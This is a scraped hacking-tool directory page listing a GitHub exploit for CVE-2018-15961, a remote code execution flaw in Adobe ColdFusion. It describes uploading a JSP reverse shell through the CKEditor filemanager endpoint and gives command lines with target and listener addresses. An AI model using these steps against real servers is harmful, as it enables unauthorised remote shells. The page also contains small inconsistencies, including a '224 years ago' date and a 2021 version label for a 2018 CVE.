Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2018-15961 — CVE-2018-15961 — ᴀᴅᴏʙᴇ ᴄᴏʟᴅғᴜsɪᴏɴ (ʀᴄᴇ) | Kitploit
Tools/GitHubGitHub/orangmuda/cve-2018-15961
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHuborangmuda/cve-2018-15961

CVE-2018-15961

CVE-2018-15961 — ᴀᴅᴏʙᴇ ᴄᴏʟᴅғᴜsɪᴏɴ (ʀᴄᴇ)

View Repository
224 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2018-15961 - Adobe ColdFusion RCE

This repository contains my exploit code for the RCE vulnerability in Adobe ColdFusion 2021.

Exploit Description

The exploit sends a POST request containing a JSP reverse shell to /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. If successfull, this uploads the shell to /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp. The code then triggers to shell by sending a simple GET request.

Usage

root@kitploit:~
# Basic usage
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443

# With custom filename for the shell
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp
Download Tool